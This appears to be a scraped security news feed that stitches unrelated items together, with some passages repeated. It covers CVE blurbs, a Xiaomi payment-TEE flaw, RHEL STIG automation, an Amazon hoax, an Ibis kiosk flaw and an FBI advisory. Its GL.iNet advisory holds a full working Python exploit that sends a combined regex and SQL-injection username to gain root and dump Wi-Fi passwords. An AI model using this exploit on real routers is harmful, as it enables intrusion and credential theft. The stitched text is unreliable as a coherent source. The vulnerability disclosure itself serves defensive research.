CVE-2021-0581

CVE-2021-34389

In modem CCCI, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction may be also needed for exploitation Patch ID: MOLY01138425; Issue ID: MOLY01138425 (MSV-862).

CVE-2023-32840

Mobile transactions could’ve been disabled, created and signed by attackers.

Mobile transactions could’ve been disabled, created and signed by attackers.

Smartphone maker Xiaomi, the world’s number three phone maker behind Apple and Samsung, reported it has patched a high-severity flaw in its “trusted environment” used to store payment data that opened some of its handsets to attack.

Researchers at Check Point Research revealed last week in a report released at DEF CON that the Xiaomi smartphone flaw could have allowed hackers to hijack the mobile payment system and disable it or create and sign their own forged transactions.

The potential pool of victims was massive, considering one in seven of the world’s smartphones are manufactured by Xiaomi, according to Q2/22 data from Canalys. The company is the third largest vendor globally, according to Canalys.  
“We discovered a set of vulnerabilities that could allow forging of payment packages or disabling the payment system directly, from an unprivileged Android application. We were able to hack into WeChat Pay and implemented a fully worked proof of concept,” wrote Slava Makkaveev, security researcher with Check Point.

He said, the Check Point study marks the first time Xiaomi’s trusted applications have been reviewed for security issues. WeChat Pay is a mobile payment and digital wallet service developed by a firm of the same name, which is based in China. The service is used by over 300 million customers and allows Android users to make mobile payments and online transactions.

**The Flaw**

It’s unclear how long the vulnerability existed or if it was exploited by attackers in the wild. The bug, tracked as CVE-2020-14125, was patched by Xiaomi in June and has a CVSS severity rating of high.

“A denial of service vulnerability exists in some Xiaomi models of phones. The vulnerability is caused by out-of-bound read/write and can be exploited by attackers to make denial of service,” according to the NIST common vulnerability and exposure description of the bug.

While details of the bug’s impact were limited at the time Xiaomi disclosed the vulnerability in June, researchers at Check Point have outlined in its postmortem of the patched bug and the full potential impact of the flaw.

The core issue with Xiaomi phone was the mobile phones payment method and the Trusted Execution Environment (TEE) component of the phone. The TEE is the Xiaomi’s virtual enclave of the phone, responsible for processing and storing ultra-sensitive security information such fingerprints and the cryptographic keys used in signing transactions.

“Left unpatched, an attacker could steal private keys used to sign WeChat Pay control and payment packages. Worst case, an unprivileged Android app could have created and signed a fake payment package,” researchers wrote.

Two types of attacks could have been performed against handsets with the flaw according to Check Point.

*   From an unprivileged Android app: The user installs a malicious application and launches it. The app extracts the keys and sends a fake payment packet to steal the money.
*   If the attacker has the target devices in their hands: The attacker rootes the device, then downgrades the trust environment, and then runs the code to create a fake payment package without an application.

**Two Ways to Skin a TEE**

Controlling the TEE, according to Check Point, is a MediaTek chip component that needed to be present to conduct the attack. To be clear, the flaw was not in the MediaTek chip – however the bug was only executable in phones configured with the MediaTek processor.

“The Asian market,” the researchers noted, is “mainly represented by smartphones based on MediaTek chips.” Xiaomi phones that run on MediaTek chips use a TEE architecture called “Kinibi,” within which Xiaomi can embed and sign their own trusted applications.

“Usually, trusted apps of the Kinibi OS have the MCLF format” – Mobicore Loadable Format – “but Xiaomi decided to come up with one of their own.” Within their own format, however, was a flaw: an absence of version control, without which “an attacker can transfer an old version of a trusted app to the device and use it to overwrite the new app file.” The signature between versions doesn’t change, so the TEE doesn’t know the difference, and it loads the old one.

In essence the attacker could’ve turned back time, bypassing any security fixes made by Xiaomi or MediaTek in the most sensitive area of the phone.

As a case-in-point, the researchers targeted “Tencent soter,” Xiaomi’s embedded framework providing an API to third-party apps that want to integrate mobile payments. Soter is what’s responsible for verifying payments between phones and backend servers, for hundreds of millions of Android devices worldwide. The researchers performed time travel to exploit an arbitrary read vulnerability in the soter app. This allowed them to steal the private keys used to sign transactions.

The arbitrary read vulnerability is already patched, while the version control vulnerability is “being fixed.”

In addition, the researchers came up with one other trick for exploiting soter.

Using a regular, unprivileged Android application, they were able to communicate with the trusted soter app via “SoterService,” an API for managing soter keys. “In practice, our goal is to steal one of the soter private keys,” the authors wrote. However, by performing a classic heap overflow attack, they were able to “completely compromise the Tencent soter platform,” allowing much greater power to, for example, sign fake payment packages.

**Phones Remain Un-scrutinized**

Mobile payments are already receiving more scrutiny from security researchers, as services like Apple Pay and Google Pay gain popularity in the West. But the issue is even more significant for the Far East, where the market for mobile payments is already way ahead. According to data from Statista, that hemisphere was responsible for a full two-thirds of mobile payments globally in 2021 – about four billion dollars in transactions in all.

And yet, the Asian market “has still not yet been widely explored,” the researchers noted. “No one is scrutinizing trusted applications written by device vendors, such as Xiaomi, instead of by chip manufacturers, even though security management and the core of mobile payments are implemented there.”

As previously noted, Check Point asserted this was the first time Xiaomi’s trusted applications have been reviewed for security issues.

Xiaomi Phone Bug Allowed Payment Forgery

GliNet with firmware version 4.x suffers from an authentication bypass vulnerability. Other firmware versions may also be affected.

DZONERZY Security Research

GLiNet: Router Authentication Bypass

========================================================================  
Contents  
========================================================================

1. Overview  
2. Detailed Description  
3. Exploit  
4. Timeline

========================================================================  
1. Overview  
========================================================================

CVE-2023-46453 is a remote authentication bypass vulnerability in the web  
interface of GLiNet routers running firmware versions 4.x and up. The  
vulnerability allows an attacker to bypass authentication and gain access  
to the router's web interface.

========================================================================  
2. Detailed Description  
========================================================================

The vulnerability is caused by a lack of proper authentication checks in  
/usr/sbin/gl-ngx-session file. The file is responsible for authenticating  
users to the web interface. The authentication is in different stages.

Stage 1:

During the first stage the user send a request to the challenge rcp  
endpoint. The endpoint returns a random nonce value used later in the  
authentication process.

Stage 2:

During the second stage the user sends a request to the login rcp endpoint  
with the username and the encrypted password. The encrypted password is  
calculated by the following formula:

md5(username + crypt(password) + nonce)

The crypt function is the standard unix crypt function.

The vulnerability lies in the fact that the username is not sanitized  
properly before being passed to the login_test function in the lua script.

------------------------------------------------------------------------  
local function login_test(username, hash)  
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do  
        local pw = l:match('^' .. username .. ':([^:]+)')  
        if pw then  
            for nonce in pairs(nonces) do  
                if utils.md5(table.concat({username, pw, nonce}, ":")) ==  
hash then  
                    nonces[nonce] = nil  
                    nonce_cnt = nonce_cnt - 1  
                    return true  
                end  
            end  
            return false  
        end  
    end

    return false  
end  
------------------------------------------------------------------------

This script check the username against the /etc/shadow file. If the username  
is found in the file the script will extract the password hash and compare  
it to the hash sent by the user. If the hashes match the user is  
authenticated.

The issue is that the username is not sanitized properly before being  
concatenated with the regex. This allows an attacker to inject a regex into  
the username field and modify the final behavior of the regex.

for instance, the following username will match the userid of the root user:

root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+)

This will match the "root:" string and then any character until the next ":"  
character. This will cause the script skip the password and return the  
user id instead.

Since the user id of the root user is always 0, the script will always  
return:

md5("root:[^:]+:[^:]+" + "0" + nonce)

Since this value is always the same, the attacker can simply send the known  
hash value to the login rcp endpoint and gain access to the web interface.

Anyway this approach won't work as expected since later in the code inside  
the  
this check appear:

------------------------------------------------------------------------  
    local aclgroup = db.get_acl_by_username(username)

    local sid = utils.generate_id(32)

    sessions[sid] = {  
        username = username,  
        aclgroup = aclgroup,  
        timeout = time_now() + session_timeout  
    }  
------------------------------------------------------------------------

The username which is now our custom regex will be passed to the  
get_acl_by_username  
function. This function will check the username against a database and  
return the aclgroup associated with the username.  
If the username is not found in the database the function will return nil,  
thus causing attack to fail.

By checking the code we can see that the get_acl_by_username function is  
actually appending our raw string to a query and then executing it.  
This means that we can inject a sql query into the username field and  
make it return a valid aclgroup.

------------------------------------------------------------------------  
M.get_acl_by_username = function(username)  
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)  
    local sql = string.format("SELECT acl FROM account WHERE username =  
'%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do  
        aclgroup = a[1]  
    end

    db:close()

    return aclgroup  
end  
------------------------------------------------------------------------

Using this payload we were able to craft a username which is both a valid  
regex and a valid sql query:

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

this will make the sql query become:

SELECT acl FROM account WHERE username = 'roo[^'union selecT  
char(114,111,111,116)--]:[^:]+:[^:]+'

which will return the aclgroup of the root user (root).

========================================================================  
3. Exploit  
========================================================================

------------------------------------------------------------------------  
# Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass  
# Date: 18/10/2023  
# Exploit Author: Daniele 'dzonerzy' Linguaglossa  
# Vendor Homepage: https://www.gl-inet.com/  
# Vulnerable Devices:  
#   GL.iNet GL-MT3000 (4.3.7)  
#   GL.iNet GL-AR300M(4.3.7)  
#   GL.iNet GL-B1300 (4.3.7)  
#   GL.iNet GL-AX1800 (4.3.7)  
#   GL.iNet GL-AR750S (4.3.7)  
#   GL.iNet GL-MT2500 (4.3.7)  
#   GL.iNet GL-AXT1800 (4.3.7)  
#   GL.iNet GL-X3000 (4.3.7)  
#   GL.iNet GL-SFT1200 (4.3.7)  
#   And many more...  
# Version: 4.3.7  
# Firmware Release Date: 2023/09/13  
# CVE: CVE-2023-46453

from urllib.parse import urlparse  
import requests  
import hashlib  
import random  
import sys

def exploit(url):  
    try:  
        requests.packages.urllib3.disable_warnings()  
        host = urlparse(url)  
        url = f"{host.scheme}://{host.netloc}/rpc"  
        print(f"[*] Target: {url}")  
        print("[*] Retrieving nonce...")  
        nonce = requests.post(url, verify=False, json={  
            "jsonrpc": "2.0",  
            "id": random.randint(1000, 9999),  
            "method": "challenge",  
            "params": {"username": "root"}  
        }, timeout=5).json()  
        if "result" in nonce and "nonce" in nonce["result"]:  
            print(f"[*] Got nonce: {nonce['result']['nonce']} !")  
        else:  
            print("[!] Nonce not found, exiting... :(")  
            sys.exit(1)  
        print("[*] Retrieving authentication token for root...")  
        md5_hash = hashlib.md5()  
        md5_hash.update(  
            f"roo[^'union selecT  
char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode())  
        password = md5_hash.hexdigest()  
        token = requests.post(url, verify=False, json={  
            "jsonrpc": "2.0",  
            "id": random.randint(1000, 9999),  
            "method": "login",  
            "params": {  
                "username": f"roo[^'union selecT  
char(114,111,111,116)--]:[^:]+:[^:]+",  
                "hash": password  
            }  
        }, timeout=5).json()  
        if "result" in token and "sid" in token["result"]:  
            print(f"[*] Got token: {token['result']['sid']} !")  
        else:  
            print("[!] Token not found, exiting... :(")  
            sys.exit(1)  
        print("[*] Checking if we are root...")  
        check = requests.post(url, verify=False, json={  
            "jsonrpc": "2.0",  
            "id": random.randint(1000, 9999),  
            "method": "call",  
            "params": [token["result"]["sid"], "system", "get_status", {}]  
        }, timeout=5).json()  
        if "result" in check and "wifi" in check["result"]:  
            print("[*] We are authenticated as root! :)")  
            print("[*] Below some info:")  
            for wifi in check["result"]["wifi"]:  
                print(f"[*] --------------------")  
                print(f"[*] SSID: {wifi['ssid']}")  
                print(f"[*] Password: {wifi['passwd']}")  
                print(f"[*] Band: {wifi['band']}")  
            print(f"[*] --------------------")  
        else:  
            print("[!] Something went wrong, exiting... :(")  
            sys.exit(1)  
    except requests.exceptions.Timeout:  
        print("[!] Timeout error, exiting... :(")  
        sys.exit(1)  
    except KeyboardInterrupt:  
        print(f"[!] Something went wrong: {e}")

if __name__ == "__main__":  
    print("GL.iNet Auth Bypass\n")  
    if len(sys.argv) < 2:  
        print(  
            f"Usage: python3 {sys.argv[1]} https://target.com",  
file=sys.stderr)  
        sys.exit(0)  
    else:  
        exploit(sys.argv[1])  
------------------------------------------------------------------------

========================================================================  
4. Timeline  
========================================================================

2023/09/13 - Vulnerability discovered  
2023/09/14 - CVE-2023-46453 requested  
2023/09/20 - Vendor contacted  
2023/09/20 - Vendor replied  
2023/09/30 - CVE-2023-46453 assigned  
2023/11/08 - Vulnerability patched and fix released

GliNet 4.x Authentication Bypass

On October 11, 2023, The United States Defense Information Systems Agency (DISA) published their Security Technical Implementation Guide (STIG) for Red Hat Enterprise Linux (RHEL) 9. A compliance automation profile is now available, reducing the time and complexity necessary to bring systems into compliance.Red Hat’s compliance automation profile for RHEL 9 is aligned with the Version 1, Release 1 (V1R1) of the STIG. Using this profile, organizations can more swiftly increase their systems compliance status by utilizing the scap-security-guide package with its pre-built Ansible Playbooks and

On October 11, 2023, The United States Defense Information Systems Agency (DISA) published their Security Technical Implementation Guide (STIG) for Red Hat Enterprise Linux (RHEL) 9. A compliance automation profile is now available, reducing the time and complexity necessary to bring systems into compliance.

Red Hat’s compliance automation profile for RHEL 9 is aligned with the Version 1, Release 1 (V1R1) of the STIG. Using this profile, organizations can more swiftly increase their systems compliance status by utilizing the scap-security-guide package with its pre-built Ansible Playbooks and the OpenSCAP scanner, Red Hat Insights or Red Hat Satellite for existing RHEL installations. This content can also be used with the RHEL Installer and Image Builder for new RHEL installations.

DISA STIGs are designed to be general guidance for securing systems that connect to  United States Department of Defense systems or networks. System administrators should work with their Information System Security Officer (ISSO) to make sure their systems are aligned with the required controls based on the STIG and mission requirements. Customers using Insights can use it to tailor the STIG profile in alignment with system and workload requirements.

As part of our broader commitment to supporting customers, Red Hat offers compliance automation content for RHEL systems operating in other regulated industries, including:

*   Center for Internet Security (CIS)
*   PCI-DSS
*   HIPAA
*   Australian Signals Directorate Essential Eight

**Automate your compliance**

Start using pre-built Ansible content to help make systems compliant and learn how Red Hat Satellite can be used for continual monitoring of your compliance status across your enterprise.

Matthew is a Software Engineer on the Red Hat Enterprise Linux Security Compliance team. Matthew joined Red Hat in 2021 and focuses on creating automation to help customers in regulated industries achieve compliance faster.

Read full bio

Red Hat Enterprise Linux 9 STIG automation released

A message about extra delivery addresses getting added to Amazon accounts has gone wild on social media. Luckily, it's nothing to worry about.

Amazon customers have been seeing a message on social media that has caused some alarm.

Most of the posts look like one of these (depending on the social media platform):

> “PSA!! Amazon got hacked. For USA based people, check your Amazon account. Hackers added HUB lockers as your default delivery addresses. Remove it! I had 2 added to mine.”

Hub lockers are local secure places for people to pick up their Amazon order rather than risk them being left on a doorstep, so the concern was that someone could buy something on your account and then send it to the Hub locker to be picked up.

Here’s another similar post, this time saying the lockers were actually fake:

> “PSA: check your saved addresses on Amazon. Amazon got hacked and a lot of people (including me) have random “Amazon lockers” saved in their addresses – which are not actual lockers. If you do use Amazon lockers, be sure to verify that the locker you’re sending it to is an actual locker.
> 
> Double check your order history and make sure there aren’t any orders you don’t recognize. And check your bank accounts to make sure your credit card on file is also not being used for unauthorized purchases. “

It’s not surprising that those messages would raise the alarm amongst Amazon’s customers, but thankfully the security alert is nothing to worry about.

The additional addresses are genuine Hub locations or other pick-up locations and they weren’t put there by hackers. Amazon added them in error.

As an Amazon spokesperson told Snopes:

> This isn’t a data security matter and our systems are secure. Amazon pickup locations were added to a small number of customer accounts in error, and we are working to fix the issue. We apologize for any inconvenience this may have caused, and customers with questions about their account are welcome to contact customer service.

Things like this are tricky – on the one hand we are always pleased for people to share security issues and alert others to potential problems. However in this case it appears as though people were forwarding the message without first checking if it was, in fact, a real issue.

And nowadays with social media and instant messaging, rumours like these can spread fast. All it takes is some panic, little research, and a lot of contacts.

If you see a message like this, always do a bit of research before forwarding it on. Sites like Snopes allow you to search for keywords and you’ll find a lot of hoaxes including this one.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 &#8220;Amazon got hacked&#8221; messages are a false alarm 

By Waqas
Hackers Find Easy Access to Rooms at Ibis Budget Hotels!
This is a post from HackRead.com Read the original post: Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

Ibis Budget guests were left vulnerable after a security flaw in self-check-in kiosks exposed room access codes. Learn how this major security breach could have impacted travelers and what steps you can take to stay safe.

A data security issue at Ibis Budget hotels across Europe raised concerns for guest safety after a vulnerability in their self-check-in kiosks allowed anyone to see room access codes.

The issue came to light in late 2023 when a team of hackers from Swiss firm Pentagrid discovered the flaw in a kiosk at an Ibis Budget hotel in Germany. Their investigation revealed that the kiosks displayed the room access codes on the screen after check-in, potentially compromising the security of any guest who used the kiosk.

While Pentagrid only confirmed the vulnerability in a single German hotel, they believe it likely impacted a wider range of Ibis Budget locations. The budget hotel chain, owned by hospitality giant Accor, boasts over 600 locations across 20 countries.

According to Pentagrid, it promptly notified Accor about the security hole. The hotel group responded swiftly and within a month, a patch was rolled out to address the vulnerability and prevent further exposure of room access codes.

Although a fix is now in place, cybersecurity experts warn that such vulnerabilities can have serious consequences. With access codes exposed, anyone could potentially gain unauthorized entry to a guest’s room, putting them and their belongings at risk.

It is worth mentioning that hotels are a lucrative target for cybercriminals. There have been cases where threat actors infected hotel door lock systems with ransomware, or security researchers identified critical security vulnerabilities in electronic key software used by thousands of hotels worldwide, allowing hackers to unlock hotel rooms.

****Watch the Demo Video****

Despite the potential severity of the issue, Accor has not yet issued a public statement regarding the vulnerability in their Ibis Budget kiosks. This lack of transparency has raised concerns among security researchers and potential guests.

Nevertheless, security experts advise travellers using Ibis Budget hotels to be cautious and consider alternative check-in methods if available. Additionally, remaining alert about personal belongings and reporting any suspicious activity to hotel staff is crucial.

The Ibis Budget kiosk vulnerability shows the growing importance of cybersecurity in the hospitality industry. As hotels increasingly rely on technology to streamline operations, ensuring vital security measures are in place is vital to protect guests and maintain trust.

1.  Unsecured Video Doorbells Sold on Major Platforms
2.  Hacker Shows How to detect hidden cameras in hotels
3.  Trump Hotels’ Booking System Hacked, Card Data Stolen
4.  Hotel reservation platform leaked booking sites user data
5.  Marriott hotel reservation system hacked; slashes rate to 95%

Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

Similar to what happened around the 2020 election, FBI warns that the Emennet Pasargad group is poised to target officials and companies with embarrassing hack-and-leak campaigns.

Although the Iranian threat group Emennet Pasargad is largely dedicated to launching attacks against Israeli officials, the FBI warns the group is likely to engage in hack-and-leak operations against US interests — namely the upcoming midterm elections.

The latest FBI advisory explained that Emennet tactics usually involve a breach, data theft, data leak, and amplification of leaked data on social media; often they leave encryption malware behind, for good measure. The group was active during the 2020 presidential elections, and the FBI is warning they are likely to reemerge as Americans vote in the November midterm elections.

Adding to the alarm, the FBI said Emennet was linked to a cyberattack on a US organization within the past year, demonstrating the group is still an active threat.

"The FBI assesses the purpose of these operations is to undermine public confidence in the security of the victim's network and data, as well as embarrass victim companies and targeted countries," the advisory said.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

FBI: Iranian Threat Group Likely to Target US Midterms

Edgecore ECS2020 Firmware 1.0.0.0 devices allow Unauthenticated Command Injection via the command1 HTTP header to the /EXCU_SHELL URI.

Search

lenovo warranty check/lookup | check warranty status | lenovo support us